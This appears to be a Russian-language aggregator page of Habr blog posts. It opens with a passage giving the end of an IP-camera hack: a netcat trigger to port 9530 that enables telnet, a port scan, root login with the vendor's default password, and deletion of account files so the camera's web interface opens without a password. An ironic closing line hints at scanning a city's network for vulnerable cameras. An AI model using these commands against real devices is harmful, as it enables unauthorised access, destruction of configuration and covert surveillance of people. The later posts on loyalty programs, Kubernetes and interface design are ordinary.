nc 192.168.1.10 9530
\rOpenTelnet:OpenOnce

проверяем, что он открыт
nmap -p 1-65535 192.168.1.10

PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
554/tcp open rtsp
8899/tcp open ospf-lite
9527/tcp open unknown
9530/tcp open unknown
34567/tcp open unknown

Заходим под стандартным паролем
telnet 192.168.1.10
Trying 192.168.1.10…
Connected to 192.168.1.10.
Escape character is '^]'.
LocalHost login: root
Password: xmhdipc
Welcome to Monitor Tech.
# rm -rf /mnt/mtd/Config/Account*
# reboot
# Connection closed by foreign host.

После перезагрузки камера доступна через web без пароля. Наслаждайтесь.

Чем руководствуется производитель оборудования когда оставляет такие дыры мне лично не понятно.

Дорогие читатели, никогда не сканируйте сеть города за которым вы бы хотели понаблюдать, на предмет открытого порта 9530, и не производите действий описанный выше, это может привести к желанию уйти в отпуск или отправиться в путешествие.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332526/


Метки:  

Как создать успешную программу лояльности: подходы, технологии и статистика

Четверг, 06 Июля 2017 г. 09:09 + в цитатник


В нашем блоге мы уже рассказывали о том, как компании подогревают интерес к своим продуктам и услугам с помощью программ лояльности. Сегодня речь пойдет о том, какие подходы позволяют создавать действительно успешные программы, как в этом помогают POS-технологии и на какие результаты в цифрах можно рассчитывать.

Почему магазины хотят повышать лояльность покупателей


По данным компании-разработчика систем лояльности в сфере ритейла Fivestars, 60% покупателей не возвращаются в магазин после первого визита. Но если после первого раза человек пришел в торговую точку еще раз, то вероятность совершения дальнейших покупок составляет 80%. Так что важной задачей для каждого бизнеса является привлечение клиентов в магазин после их первого визита.

Чтобы понять, как это сделать, важно разобраться с тем, почему такие клиенты «отваливаются». Специалисты Fivestars выделяют три главные причины подобных неудач:

  • Отсутствие контакта между бизнесом и покупателем — это особенно важно в случае небольшого бизнеса.
  • Отсутствие персонализации пребывания в магазине — как минимум, люди любят, когда к ним обращаются по имени.
  • Отсутствие возможности взаимодействия с клиентами после их ухода из магазина — если покупатель покинул магазин и больше никогда не получал от него никаких сообщений, это снижает вероятность повторного визита.

Решить эти проблемы можно с помощью внедрения систем лояльности — появление успешной программы позволяет удвоить число посещений магазина со стороны новых, уже считавшихся потерянными, и текущих клиентов.

Почему лояльность и персонализация тесно связаны


Силу персонализации в применении к повышению лояльности легко проследить на примере известной мировой сети кофеен Starbucks. Одна из главных «фишек» компании — персонализация пребывания в кофейне. Этот эффект достигается несколькими способами, самый знаменитый из которых — написания имен клиентов на кружках.



Несмотря на то, что этот ход очень известен, появился он далеко не сразу — примерно до 2010 года на кружках и стаканах писали только название выбранного покупателем напитка. Простая идея написать на стакане имя того, кто его заказал, стала крайне успешной — клиенты оценили то, что компания стремится стать ближе к ним.

Кроме того, поскольку баристы в кофейнях постоянно пишут имена посетителей на кружках, то лучше запоминают постоянных клиентов — и могут затем уже не спрашивать их имени, что создает еще более прочную связь между бизнесом и покупателем.

Для повышения охвата потенциальной аудитории компания внедрила подарочные карты, которые клиенты могут дарить друзьям и, тем самым, стимулировать их к совершению покупок. Кроме того, в Starbucks действует программа лояльности, которая мотивирует любителей кофе чаще ходить в заведения сети — покупатель может заранее положить на специальную карту определенную сумму денег и затем получать скидки при оплате ею. Поскольку деньги уже лежат на карте, пользователь хочет ими воспользоваться и заодно получить скидку.

Для создания системы лояльности можно использовать POS-технологию


Простое внедрение системы скидок — это еще не программа лояльности. Чтобы запустить по-настоящему успешную систему, необходимо не просто дать возможность немного сэкономить. Здесь важно учитывать предпочтения конкретных клиентов. Для решения этой задачи можно, в том числе, анализировать историю покупок конкретного клиента, что позволит повысить уровень персонализации и качество обслуживания.

Это действительно важно — если человек постоянно ходит в одно и то же кафе и заказывает ту же еду, то ему будет приятно, если официант спросит «Вам сегодня как обычно?», а не станет в сотый раз принимать один и тот же заказ. Сделать это можно с помощью внедрения системы лояльности, которая интегрируется с POS-оборудованием точки продаж.

Это может звучать необычно, но как современные смартфоны уже давно не являются просто телефонами, позволяя решать самые разные задачи, так и POS-системы эволюционировали далеко за рамки задачи приема платежей. Теперь эти инструменты умеют не только принимать платежи, но и работать с подарочными картами, а также выгружать данные во внешние системы. Все это облегчает аналитику и разработку гибких программ лояльности. POS-терминалы SKY-POS, например, оснащены считывателем дисконтных и бонусных карт, что позволяет гибко подходить к привлечению покупателей и и их удержанию.

Хотя, конечно, терминал остается всего-лишь железом, которое не сможет работать с лояльностью не обладая должным программным обеспечением — в нашем случае речь идет о кассовой программе «Профи-Т» с встроенным модулем с системой лояльности (подробнее об этом писали здесь). Использование этой связки обеспечивает информационное сопровождение бизнес-процессов по управлению лояльностью покупателей:

  • запуск акций лояльности, в рамках которых клиентам начисляются баллы по понятным им правилам;
  • адресное оповещение клиентов о планируемых и действующих акциях лояльности;
  • накопление информации о покупках клиентов и накопленных ими баллах.

Это позволяет взаимодействовать с клиентами после их ухода из магазина. Теперь после того, как покупатель покинул торговую точку, он постоянно получает персонифицированную информацию о проводимых акциях, и это является гарантией повторного визита в магазин. Например, внедрение нашего решения в одной из сетей магазинов женской одежды позволило увеличить объем продаж на 30% за полгода, а также существенно повлияло в положительную сторону на имидж сети — постоянных клиентов стало больше.



Что дают программы лояльности: немного статистики


Распространенный факт — наличие скидок и наград в рамках системы лояльности повышает частоту визитов клиентов. Статистика Fivestars говорит, что клиенты кофеен посещают заведения чаще, если те предоставляют им программы лояльности. К примеру, если кафе предлагает награды тем, кто пришел в пятый или десятый раз, то чем ближе этот визит, тем меньше захочет ждать покупатель. Люди будут торопиться получить награду скорее, в итоге число дней между посещениями сократится.



Таким образом, внедрение продуманной и персонализированной программы лояльности позволяет бизнесу больше заработать даже на небольших временных отрезках.

Не только в магазине


Важный момент в борьбе за покупателей — сохранение связи с ними и вне магазина. Если клиент один раз зашел в точку продаж и вступил в программу лояльности, это открывает широкие возможности по его повторной «активации». Имея контактные данные человека, ритейлер может не просто напоминать о себе с помощью простых поздравлений с праздниками, но и рассказывать об акциях, анонсировать персональные скидки.

Если клиент давно не заходил в магазин, взаимодействие может становиться более настойчивым. Несмотря на то, что некоторых клиентов это раздражает, в целом, цифры говорят об эффективности подхода. На графике ниже изображены линии, иллюстрирующие количество визитов в магазин со стороны клиентов, с которыми идет активная работа вне магазина (зеленая линия) и теми, кого бизнес не беспокоит (красная). Нетрудно увидеть, что покупатели, с которыми благодаря наличию системы лояльности может взаимодействовать компания, ходят в магазины в два раза чаще.



Заключение: три элемента успешной программы лояльности


В завершение рассмотрим три элемента, которые ложатся в основу по-настоящему успешных программ лояльности.

  • Персонализация очень важна — люди любят, когда их называют по имени и запоминают предпочтения, этот факт нужно использовать при создании системы лояльности.
  • POS-технология может использоваться не только для приема платежей — оборудование магазина может быть интегрировано с системами лояльности для того, чтобы использовать данные о покупках клиентов для создания персонализированных предложений и аналитики.
  • Взаимодействовать с покупателя нужно не только в магазине — те компании, которые взаимодействуют с клиентами после того, как те совершили покупку, добиваются лучших результатов.

Понять, как в реальности происходит настройка системы лояльности и управление маркетинговыми акциями, можно из нашего видео о работе с системой «Профи-Т»:



Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331874/


Метки:  

[Перевод] Сравнение производительности сетевых решений для Kubernetes

Четверг, 06 Июля 2017 г. 08:45 + в цитатник

[recovery mode] О роли интерфейсов в контексте экзистенциализма

Четверг, 06 Июля 2017 г. 08:11 + в цитатник
Первое дело здесь требует быть таким: не вдаваясь в качественные и количественные подробности взаимодействия человечества со всем, что лежит внутри и вне его, выделить два смысловых лагеря:
— человек общается с человеком
— человек общается с машиной

Общение с человеком – это наша историко-революционная стадия, даже если общаешься со скверным человеком. Скверное общение – не такая уж и редкость, учитывая сложность человеческой натуры и бесчисленное количество темных уголков, в которые с таким интересом мы порой заглядываем. Высокоразвитая, высокоинтеллектуальная современность предлагает множество способов почувствовать себя ничтожеством. Человеческое общение – на первом месте. Конечно, с другой стороны, оно – и источник всех величайших и светлейших вещей для человека, но об этом в другом месте. Общение с машиной – еще одна стадия революции. Здесь нужна параллель, и ее легко отыскать. Это та же категория, что и общение с человеком… вслед за специалистами по интерфейсам, сейчас скажем так. И это общение также может быть скверным, предоставляющим статус ничтожества. Оно также может раздражать, мешать, тратить силы и вызывать гадкие эмоции, заставлять проклинать себя. И это можно изменить. Как хорошо, что современные интерфейсы систем автоматизации создаются в основном молодыми специалистами, которые имеют современные взгляды, которые не так сильно затягивает пучина опытной накопленности.
Получилось ли у меня создать высшей степени накал ответственности? А ведь он точно есть. В руках дизайнеров находится столь многое: они властны над людскими эмоциями, над их самочувствием, самоощущением, над их гордостью и значимостью, над саморасположением духа и моральным настроением. Над их физическим здоровьем они тоже властны. Нехотя, но добавлю: пусть и частично.
Достаточно скверного общения с людьми! Машины тоже должны вести себя лучше. Они должны быть вежливее некоторых людей. Ладно, просто: они должны быть вежливыми. Это опасно — распространять поведение некоторых людей на поведение машин. А ведь это часто и происходит. Мир людей не без дефектов, и Мир машин таковым сделать можно, поскольку это творения рук человеческих. Сравнение человека и интерфейсов машин имеет высокую важность. Легко представить себе человека вместо машины и вообразить, каким человек должен быть, чтобы понравиться вам. Вежливым? Учтивым? Последовательным?
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332524/


Метки:  

Поиск сообщений в rss_rss_hh_new
Страницы: 1437 ... 1039 1038 [1037] 1036 1035 ..
.. 1 Календарь